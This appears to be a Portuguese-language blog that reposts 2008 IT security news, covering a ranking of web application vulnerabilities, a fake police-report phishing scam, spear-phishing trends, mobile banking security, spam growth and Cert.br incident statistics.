    Um estudo realizado pela Batori, empresa especializada em segurança da informação, constatou que grande parte das vulnerabilidades está concentrada hoje em aplicações web, notadamente na estrutura de banco de dados e na arquitetura dos programas. Além disso, a análise descobriu que grande parte dessas brechas não é detectada por ferramentas como scanners e analisadores de códigos e, quando analisados, não têm a devida eficácia. Falhas desta natureza somente são identificadas e reparadas por profissionais experientes. Então os hackers se aproveitam dessas vulnerabilidades, que geram brechas, para invadir os sistemas, diz o estudo. Para alertar o mercado sobre o problema, a Batori realizou um levantamento e listou um ranking com os dez principais tipos de ataques baseados em vulnerabilidades nas aplicações web, que respondem por 89% dos casos: 1) Cross-site scripting (XSS) – Técnica de ataque que representa 13% das ocorrências. Ela permite executar scripts maliciosos no navegador do usuário da aplicação vulnerável. 2) Manipulação de dados ocultos – Ela responde, também, por 13% das ocorrências. A aplicação vulnerável permite acesso indevido quando dados ocultos são manipulados indevidamente. 3) Falha ao restringir acesso a URL ou funcionalidade – Essa vulnerabilidade, que ocorre porque a aplicação não restringe adequadamente suas áreas restritas, representa 11% das ocorrências. 4) Tratamento indevido de erro, revelação de informações sensíveis – A aplicação revela informações sensíveis através de uso não esperado. Responde por 9% das ocorrências. 5) Armazenamento inseguro de criptografia – Esse tipo de brecha, que representa 9% das ocorrências, expõe dados sensíveis, que deveriam ser armazenados de forma criptografada e estão em texto livre ou com criptografia inadequada. 6) Comunicação insegura – Vulnerabilidade responsável por 8% das ocorrências. A aplicação trafega dados sensíveis através de canais não-seguros. 7) Falha da especificação de requisitos – Deficiência que representa 8% das ocorrências. Os controles de segurança, que deveriam existir, não existem devido à falha na especificação. 8) Injeção de comandos – Técnica de ataque responsável por 8% das ocorrências e que explora injeção de comandos através de aplicação para serem processados por outros sistemas ou camadas. Por exemplo: SQL Injection, SMTP Injection, HTML Injection etc. 9) Processo inadequado de cadastro de usuários – Procedimento que causa 5% das ocorrências. O cadastro de usuário deve respeitar algumas recomendações de segurança, que se não forem seguidas podem expor a aplicação a diversos incidentes. 10) Quebra de autenticação e gerenciamento de sessão – Responsável por 5% das ocorrências, as aplicações vulneráveis permitem burlar o processo de autenticação através de gestão fraca de sessão ou procedimentos inseguros. Outras vulnerabilidades respondem por 11% das ocorrências.
    July 18

    Segurança baseada em cloud computing vai triplicar até 2013

    A importância de serviços antimalware e antispam por correio eletrônico ou mensagens instantâneas vai crescer e representar 60% do mercado de segurança.

    A quantidade de aplicações de segurança para serviços como os baseados no modelo de cloud computing se multiplicará por três até 2013, segundo o Gartner.

    Outros estudos da empresa mostram ainda que o uso de e-mail por cloud computing vai subir 12% até 2012 e que o impacto do cloud computing é semelhante ao do e-business.

    A consultoria assegura que 20% dos investimentos em ferramentas de segurança para mensagens, como os serviços antimalware e antispam para correio eletrônico ou mensagens instantâneas, estão atualmente seguindo um novo modelo, muito similar ao do software como serviço (SaaS). Sua importância irá crescer até representar 60% de mercado, de acordo com as previsões do Gartner.

    Entre as vantagens das aplicações empresariais entregues em baixa demanda, destaca-se a capacidade de permitir que as barreiras das redes corporativas dificultem o acesso dos trabalhadores móveis aos dados empresariais que requerem para realizar melhor suas tarefas de qualquer lugar.

    No entanto, o crescente uso de tais serviços obrigará às equipes de segurança de TI das companhias estabelecer maiores controles entre os trabalhadores móveis e os serviços baseados em cloud.

    “Embora se requeiram controles de segurança perimetral para proteger as funções de centro de dados que mantém a empresa e a grande parte dos usuários empresariais não móveis, serão necessários novos enfoques para dar segurança a parte dos serviços de TI baseados em cloud”, afirma John Pescatore, vice-presidente e analista do Gartner.

    Fonte: http://computerworld.uol.com.br/seguranca/2008/07/17/seguranca-baseada- em-cloud-computing-vai-triplicar-ate-2013/

    June 25

    Golpe do B.O. ameaça internauta com falsas denúncias

    Em mais uma tentativa de tirar vantagens dos internautas, hackers passaram a divulgar mensagens escritas falsamente no nome de um investigador de polícia. No texto, ele diz ter um boletim de ocorrência (B.O.) com informações sobre a pessoa que recebe a mensagem. Quando clica para visualizar o conteúdo desse documento, o usuário pode infectar seu computador com uma praga que rouba informações.

    “Olá, sou investigador e moro bem perto de você. Estou entrando em contato por que tenho um boletin de ocorrência e eu scaniei ele e estou te mandando a imagem, se nao acredita veja você mesmo da uma olhada me manda um email e a coisa ta feia pra você mais posso te ajudar a sair dessa. aguardo resposta [sic]”, diz a mensagem. Como geralmente acontece nos textos criados por golpistas, o texto contém diversos erros de português.

    A Secretaria de Segurança Pública informou, via assessoria de imprensa, que não envia Boletins de Ocorrência via internet.


    Segundo a empresa de segurança Trend Micro, que analisou a mensagem a pedido do G1, o usuário que clicasse no link para visualizar o boletim seria levado a uma página maliciosa – ela já foi tirada do ar e, por isso, não apresenta mais perigo. Nesse endereço, a vítima poderia instalar involuntariamente em seu computador um código desenvolvido para roubar informações como senhas, logins e dados bancários.

    Foto: Reprodução
    Mensagem dos golpistas contém muitos erros de português. (Foto: Reprodução)
     
     Phishing

    Uma das principais estratégias colocadas em prática por hackers atualmente é criar sites infectados, que fazem parte de um golpe conhecido como phishing scam.

    No primeiro estágio dessa estratégia, spammers enviam mensagens para milhares de usuários, sugerindo que eles cliquem nos arquivos em anexo ou visitem um endereço na internet (geralmente, essas páginas já infectadas). Quando o internauta segue a dica, acaba baixando involuntariamente em seu computador programas maliciosos que podem tornar a máquina vulnerável ou roubar dados pessoais do usuário, por exemplo.

    Clique aqui para aprender a se proteger dos golpes virtuais.

    Fonte: http://g1.globo.com/Noticias/Tecnologia/0,,MUL610995-6174,00.html

    June 13

    IBM lança centro mundial de segurança no Brasil

    A IBM lança, hoje, um centro mundial de segurança no Brasil (SOC, da sigla em inglês) em Hortolândia, no interior de São Paulo. Na sua inauguração, o centro vai contar com sete funcionários, mas a intenção da empresa é dobrar a quantidade de empregados no SOC até o final do ano.

    Além do centro brasileiro, a IBM possui outras sete unidades de SOC espalhadas pelo mundo.

    De acordo com Rogério Moraes, diretor da divisão IBM ISS no Brasil (o executivo era o diretor geral da ISS Brasil antes da aquisição pela IBM por 1,3 bilhão de dólares), os planos para lançar um centro mundial de segurança no Brasil já têm vários anos.

    “Já tínhamos visto na ISS a necessidade de centro para o mercado brasileiro. Aqui, a segurança é muito avançada, tanto nos profissionais quanto em práticas como phishing e trojans bancários”, disse em entrevista por telefone.

    Moraes destaca que, com o SOC, foram conquistados cinco novos clientes em terceirização de segurança. “Todas as empresas eram de médio a grande porte”, afirmou, sem dar outros detalhes. “Temos 80 clientes de terceirização na América Latina. Com o centro, vamos dobrar esse número”, garantiu

    Fonte: http://computerworld.uol.com.br/seguranca/2008/06/12/ibm-lanca- centro-mundial-de-seguranca-no-brasil/

    Modelo matemático permite isolar máquinas infectadas por worms

    Um grupo de pesquisadores Universidade do Estado de Ohio criou uma estratégia para combater os worms, isolando as máquinas infectadas.

    O professor Ness Shroff e colegas descrevem, em artigo da revista IEEE Transactions on Dependable and Secure Computing, um método que ajudará os administradores de redes a identificarem e isolarem os PCs infectados, mantendo-os em quarentena até que estejam 'limpos'.

    Para interromper a infecção antes que os worms provoquem muitos danos, os pesquisadores criaram um modelo matemático para avaliar a proliferação.

    O modelo calcula a probabilidade e intensidade de um worm se espalhar, segundo o número máximo de varreduras - interações com a rede - que uma determinada máquina realizou antes de ser infectada.
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    Em simulações computacionais contra o worm Code Red, famoso por ter causado prejuízos de 2,6 bilhões de dólares em empresas de todo o mundo, o método conseguiu limitar o alcance do worm a menos de 150 computadores em toda a internet.

    O método coloca em quarentena qualquer máquina que realizar mais de 10 mil varreduras em uma rede, já que este número é muito superior à média mensal de interação de um terminal com a rede em que está conectado.

    Os administradores de sistemas precisam, para tal, instalar softwares de monitoramento do número de varreduras, além de prever queda no desempenho após necessitarem colocar parte da rede em quarentena.

    Fonte: http://pcworld.uol.com.br/noticias/2008/06/11/modelo-matematico- permite-isolar-maquinas-infectadas-por-worms/

    June 10

    Ataques phishing direcionados estão em crescimento

    Dois grupos criminosos roubaram dados de 15 mil vítimas nos últimos quinze meses.

    As fraudes online direcionadas a alvos específicos, os chamados ataques spear-phishing, vitimizaram 15 mil usuários de computadores durantes os últimos quinze meses, de acordo com dados divulgados pela firma de segurança VeriSign.

    Estes ataques veiculados por email, em vez de serem enviados para milhões de usuários de correio eletrônico, são enviados a um grupo menor de usuários e trazem como isca dados pessoais como nome da vítima ou de seu empregador, o que aumenta sua credibilidade, noticiou o site ComputerWorld.

    Ao clicar em um link incluso na mensagem, o usuário é então levado a um site malicioso que, através de alguma vulnerabilidade de seu sistema operacional abre uma brecha para controle remoto e roubo de informações confidenciais.

    Matthew Richard, diretor do iDefense Rapid Response Team, grupo de defesa da VeriSign, afirmou que nos últimos dois meses os ataques cresceram, graças ao refinamento dos métodos de entrega das ameaças e do uso de dados.

    De acordo com o site SC Magazine dois grupos internacionais são os grandes responsáveis por este tipo de ataques. Um deles está localizado na Romênia e outro distribuído por diversos locais. Embora com intenções semelhantes, ambos utilizam técnicas distintas, como keyloggers (softwares que gravam dados digitados no teclado) e formulários falsos.

    De qualquer modo, os ataques são de difícil defesa. Filtros anti-phishing são ineficientes, já que só catalogam ataques conhecidos. Sendo assim, é necessário bom senso, treinamento e educação. Quando os usuário forem menos ingênuos, ataques de phishing serão inócuos. "Estes ataques são feitos conta humanos, não contra a tecnologia", declarou Richard.

    May 30

    Chega ao Brasil uma versão do antivírus Kaspersky para celulares

    Chega ao Brasil uma versão do antivírus Kaspersky para celulares. O Kasperky Antivirus Mobile 7.0, importado pela EsyWorld, custará R$ 59 pela licença. O software de segurança é compatível com aparelhos com os sistemas operacionais Symbian e Windows Mobile.

    Para baixar a licença o usuário deve o site da EsyWorld. Ou procurar nas lojas de e-commerce como Americanas.com, Shoptime e Submarino. A licença não tem data de expiração, mas deve ser atualizada anualmente mediante o pagamento de taxa no mesmo valor.

    Fonte: http://wnews.uol.com.br/site/noticias/materia.php?id_secao=4&id_conteudo=10873

    May 08

    Usuários que instalam SP3 do Windows XP não podem fazer downgrade do IE

    Framingham - Microsoft não permite ação para bloquear bugs no Windows gerados por incompatibilidade de arquivos mais recentes do IE7.

    A Microsoft alertou, nesta quarta-feira (07/05), que os usuários que fizerem o download do Service Pack 3 para o Windows XP não conseguirão fazer o downgrade do Internet Explorer 7 para o IE6 sem desinstalar a atualização.

    O SP3 para o XP foi lançado pelo Windows Update como download opcional na terça-feira (06/05).

    Mais sobre o Windows:
    > Baixe o SP3 do XP em português
    > Ouça: Microsoft explica SP3
    > 5 dúvidas sobre o SP3 do XP
    > Saiba o que esperar do XP SP3
    > Conheça a história do Windows
    > Especial: tudo sobre o Windows Vista
    > Empresas avaliam SP3 com cautela

    “Se você escolher instalar o XP do SP3, o IE7 continuará no seu sistema e suas preferências serão mantidas. Mas você não conseguirá mais desinstalar o browser. Se você for em Adicionar ou Remover Programas no Painel de Controle, a opção ‘remover’ estará desabilitada”, explica a gerente do IE, Jane Maliouta.

    Segundo a executiva, não poder fazer o downgrade para o IE6 foi uma ação instituída para o SP3, porque a atualização inclui versões mais recentes de arquivos do navegador.

    A Microsoft explica que para possibilitar o downgrade para o IE6 é preciso desinstalar o browser antes de instalar o SP3. Após a instalação, é possível instalar o IE7.

    Se fosse permitido reverter o navegador para a versão pré-SP3 do IE6 - a que estava no PC do usuário quando ele a atualizou para o IE7 -, o Windows terminaria em uma bagunça de arquivos.

    “Para garantir que a experiência do usuário seja confiável, prevenimos esta bagunça desabilitando a possibilidade de desinstalação do IE7”, explica Maliouta.

    Caso contrário, para fazer um downgrade será preciso desinstalar todo o SP3. Maliouta alerta inclusive que a Microsoft não oferecerá a atualização aos usuários que instalaram o IE8 Beta 1, novamente por possíveis problemas de instabilidade.

    A recomendação para este público é a mesma: desinstalar o IE8 Beta 1 antes de instalar o SP3.

    Gregg Keizer, editor do Computerworld, de Framingham

    Fonte: http://idgnow.uol.com.br/seguranca/2008/05/07/usuarios-que-instalam-sp3-do -windows-xp-nao-podem-fazer-downgrade-do-ie/paginador/pagina_2

    Quer acessar o banco online com segurança? Use o seu celular

    São Francisco - Enquanto celulares ainda estão fora do radar dos hackers, especialistas dizem que banco móvel é mais seguro do que no PC.

    Quer acessar seu banco online com segurança? Então descarte seu microcomputador e faça a transação em seu celular.

    Usar um celular para o acesso mais dados mais críticos online pode parecer estranho, já que os celulares estão mais sujeitos a perdas e roubos. No entanto, seu aparelho pode estar de fato mais seguro do que seu microcomputador para pagamentos de contas ou verificação do saldo online.

    Já existem malwares para celulares e os poucos exemplos tendem a chamar a atenção na mídia porque ainda são novidades. Entretanto, as principais ameaças à segurança online, como keyloggers, cavalos-de-tróia e outros softwares para roubar dados confidenciais, ainda não existem no ambiente móvel.

    "O risco de ser infectado por um celular é pequeno na comparação [com um PC]" nota a empresa de segurança Sophos em seu relatório anual de ameaças.

    Controle remoto

    Empresas de segurança já comercializam produtos contra malwares para celulares há algum tempo. Entre estas empresas, a Kaspersky reconhece a falta de ameaças em malwares para celulares (pelo menos dos Estados Unidos). Recentemente, a empresa acrescentou a possibilidade de eliminar dados sensíveis em um celular roubado, por meio de seu software de segurança.

    "Há uma série de vantagens superiores e de segurança em dispositivos móveis" afirma James Van Dyke, presidente da Javelin Strategy and Research, uma empresa de serviços financeiros.

    Hoje, existem diversos serviços financeiros para celulares. O PayPal permite que você envie dinheiro a outra pessoa por meio de seu celular - mercado que tem crescido com serviços como Obopay, mChek e KushCash - além de ofertas de bancos como o Bank of America e o Wells Fargo.

    Os celulares driblam malwares porque rodam muitos sistemas operacionais. E os especialistas em segurança concordam que golpistas costumam investir muito mais tempo em desenvolver um novo vírus para Windows que pode infectar milhões de PCs do que em construir um cavalo-de-tróia que pode envolver somente um certo tipo de celular.

    Perigos do Android

    Serviços de mobile banking oferecem conveniência e melhor segurança, por enquanto, mas este cenário pode mudar.

    O Google está trabalhando fortemente em seu sistema operacional Android, e o iPhone também tem aberto seu caminho em mais e mais dispositivos móveis.

    Enquanto a consolidação de sistemas operacionais para celulares ainda oferece grandes promessas em melhorias de aplicações e serviços, ela também pode transformar os celulares em alvos fáceis.

    Não é preciso olhar muito além da plataforma Mac para ter idéia do que está por vir. O sistema operacional da Apple ainda é amplamente ignorado pelos criadores de pragas virtuais, mas sua crescente popularidade significa que ele não é mais uma redoma de segurança. Em novembro do ano passado, a Sophos destacou em seu relatório, o caso de um usuário de Mac que acessou um web site inseguro e se arriscou a ter sua máquina infectada pelo malware OSX/RSPlug, o qual procurou subverter as configurações de rede daquele Mac com o objetivo de forçá-lo a acessar sites de phishing e outros endereços maliciosos.

    O fato de que poucas ameaças existem não significa que os celulares estão completamente seguros, é claro. Sistemas de pagamento e acesso a bancos demandam senhas ou PINs (Personal Identification Numbers) para evitar que qualquer pessoa pegue seu celular e comece a transferir dinheiro de sua conta. Ainda há uma série de informações pessoais que uma pessoa pode obter por meio de seu aparelho.

    Os golpes de phishing – outra grande ameaça à segurança de dados financeiros na internet – podem ser ainda mais perigosos para celulares e computadores. Se você lê e-mails em um smartphone, também receberá mensagens de phishing. E enquanto nos desktops tanto o Internet Explorer como o Firefox contam com ferramentas embutidas de proteção antiphishing, os browsers móveis não possuem tais recursos.

    Além disso, algumas tentativas raras de ataques modificam as mensagens tradicionais de phishing para atingir celulares. Apelidadas de "smishing" ou "vishing" para o uso em mensagens de SMS ou sistemas de Voz sobre IP (VoIP), tais golpes podem enviar uma mensagem de texto a um celular contando um falso alerta para uma conta de cartão de crédito, por exemplo. Se você chamar um número fornecido na mensagem falsa, um sistema automático de VoIP pede que o número de seu cartão de crédito seja digitado.

    A popularização do acesso ao mobile banking e o uso dos pagamentos móveis certamente eleva os riscos de infecções de malwares e phishings nos celulares. "A expectativa é que veremos mais aplicações maliciosas nestes dispositivos" afirma Samir Kumar, planejador do grupo de produtos da divisão de comunicações móveis da Microsoft. Mas por agora, segundo ele, o maior perigo se aplica a celulares perdidos ou roubados.

    As medidas de segurança nos celulares, como 'blindar' o dispositivo, permanecem as mais importantes acima de tudo, especialmente se você acessa serviços de mobile banking, diz Kumar. Outra dica: mantenha a comunicação Bluetooth de seu celular limitada a dispositivos conhecidos e autorizados.

    Erik Larkin, editor da PC World
     

    May 06

    Spam cresce mais de 50% no primeiro trimestre

    Volume de lixo eletrônico deve dobrar em 2008 nas empresas; redes de PCs zumbis são a principal forma de envio

    Nos últimos meses, tenho notado um volume maior de lixo eletrônico em meu e-mail no trabalho. E não é só impressão. Segundo um estudo da empresa de soluções de segurança Proofpoint, o volume de spam no primeiro trimestre do ano cresceu mais de 50% nas corpoações. Em algumas das companhias pesquisadas, o número de e-mails indesejados subiu mais de 200%. Para o ano de 2008, a estimativa da Proofpoint é de que o índice de spam cresça mais de 100%.

    O spam é uma das principais formas de disseminação de pragas virtuais e golpes online. E, de acordo com a Proofpoint, as botnets (redes de computadores zumbis controlados por criminosos) são a maneira mais utilizada para espalhar mensagens indesejadas.

    Andres Kohn, vice-presidente da empresa, afirma que essas redes estão cada vez mais sofisticadas, o que permite aos spammers lançarem ataques mais agressivos. “O grande número de novos usuários de internet está facilitando a expansão das botnets. Muitos desses internautas não estão familiarizados com as técnicas de engenharia social e têm acesso limitado a ferramentas de proteção”, destaca.
     
    Por Daniel dos Santos às 15h02
    31 de Março de 2008
     
    April 13

    Ataques a servidores web crescem 34% no 1º trimestre no Brasil

    São Paulo - Em relação ao mesmo trimestre de 2007, o crescimento nos incidentes deste tipo reportados foi ainda mais expressivo, chegando a 519%.

    O número de notificações de ataques a servidores web na internet brasileira cresceu 35% de janeiro a março de 2008, segundo o Centro de Estudos, Resposta e Tratamento de Incidentes de Segurança no Brasil (Cert.br).

    Em relação ao mesmo trimestre de 2007, o crescimento nos incidentes deste tipo reportados foi ainda mais expressivo, chegando a 519%.

    O comprometimento de um servidor web permite ao autor do ataque hospedar e disseminar códigos maliciosos de forma relativamente anônima, segundo o Cert.br. Esses códigos são referenciados como links em e-mails de tentativa de fraude, alerta o órgão.

    De acordo com o Cert.br, as notificações de tentativas de fraudes em geral permaneceram estáveis em relação ao trimestre anterior, mas cresceram 61% sobre o mesmo período de 2007.

    Fraudes associadas ao recebimento de mensagens no formato de pop-up também tiveram destaque, representando 12% das notificações de golpe.

    As notificações de varreduras aumentaram 22% se comparadas ao trimestre anterior, mas diminuíram 29% em relação ao mesmo período de 2007.

    Já as denúncias de atividades relacionadas com propagação de worms e bots caíram 23% em relação ao último trimestre e 78% em relação ao mesmo período de 2007.

    Fonte: http://idgnow.uol.com.br/seguranca/2008/04/10/ataques-a-servidores- web-crescem-34-no-1o-trimestre-no-brasil/

    March 27

    Os segredos para defender o orçamento de segurança em tempos de recessão

    Com a atual conjuntura econômica, especialmente nos Estados Unidos, muitos gerentes de projetos de TI percebem que seus orçamentos devem ser enxugados nos próximos meses conforme as empresas buscam ajustar seus gastos.

    Ao destacar continuamente e nos termos corretos a importância de seus esforços junto a outros líderes da empresa, os executivos de segurança em TI podem conseguir minimizar a extensão dos cortes em suas finanças e manter projetos importantes vivos, de acordo com uma série de diretores de segurança (CSOs).

    Durante a conferência CSO Perspectives, realizada esta semana em Atlanta (EUA), Boulton Fernando, CSO do IndyMac Bank, destacou os desafios enfrentados pelos líderes de segurança em tempos de recessão econômica. Ele próprio disse estar passando por uma dessas reduções forçadas de orçamento.

    Através de um planejamento forte e um pensamento inovador, diz ele, os progressos podem continuar sendo feitos no que tange a segurança de TI, ainda que os executivos tenham que detalhar e “chorar” cada centavo gasto em sua área.

    “Minha agenda para 2008 inclui a sobrevivência. Temos que descobrir como conseguir isso mesmo em meio a dificuldades e desafios, e focar em como manter as luzes acesas em 2008 e ainda conseguir chegar mais forte a 2009”, disse Fernando. “Parte dos planos era mostrar aos diretores os projetos que gostaríamos de colocar em prática, mas que não poderíamos arcar e eles, em contrapartida, disseram que ainda precisamos trabalhar muito nessas coisas”, revela. “Quando você lhes pergunta como solucionar esse tipo de problemas e lhes pergunta o que esperam que você faça, eles normalmente colocam as mãos nos bolsos.”

    Em alguns casos, a melhor estratégia para manter um projeto vivo em meio a orçamentos enxutos é reduzir a implementação de novas tecnologias e dedicar esforços a ações de prevenção de riscos, diz o CSO.

    Outra tática útil é tentar conduzir projetos que tenham consumido mais esforços operacionais, como de gerenciamento de senhas e identidades, e levá-los a outras áreas do departamento de TI.

    Focar em projetos verdadeiramente estratégicos dificultará o corte de orçamentos para segurança, sustenta Fernando.

    O outsourcing pode ser outra estratégia que amplia seu real alcance em fases de retenção de orçamentos, e as companhias devem se assegurar de que estão contratando os serviços pelas melhores taxas antes de retirar da empresa qualquer de suas operações, destaca Fernando.

    Outros CSOs disseram que cortar a gordura dos orçamentos de segurança onde quer que seja possível, bem como apresentar planos de gastos da forma mais direta são chaves para a defesa contra o corte de custos.

    “Você precisa começar assumindo que não conseguirá todo o dinheiro que pedir. Portanto, decida aquilo que vai precisar e apresente um orçamento 10% superior. Se você fizer uma abordagem com a realidade econômica em mente, será muito mais fácil conseguir aquilo que você procura”, aconselha John Stewart, CSO da Cisco Systems.

    “Também é importante cortar qualquer coisa que você possa não conseguir entregar; você não deve pedir dinheiro para coisas que não conseguirá fazer e correr o risco de perder verba em orçamentos futuros”, completa Stewart.

    Durante a conferência Source Boston 2008, outros líderes de segurança em TI deram conselhos parecidos em relação ao uso de planejamento detalhado e a amarração de projetos a iniciativas de negócios maiores dentro da empresa para prevenir que alguns dólares sejam retirados de seu orçamento.

    Fonte: http://computerworld.uol.com.br/seguranca/2008/03/26/os-segredos-para-defender-o-orcamento-de-seguranca-em-tempos-de-recessao/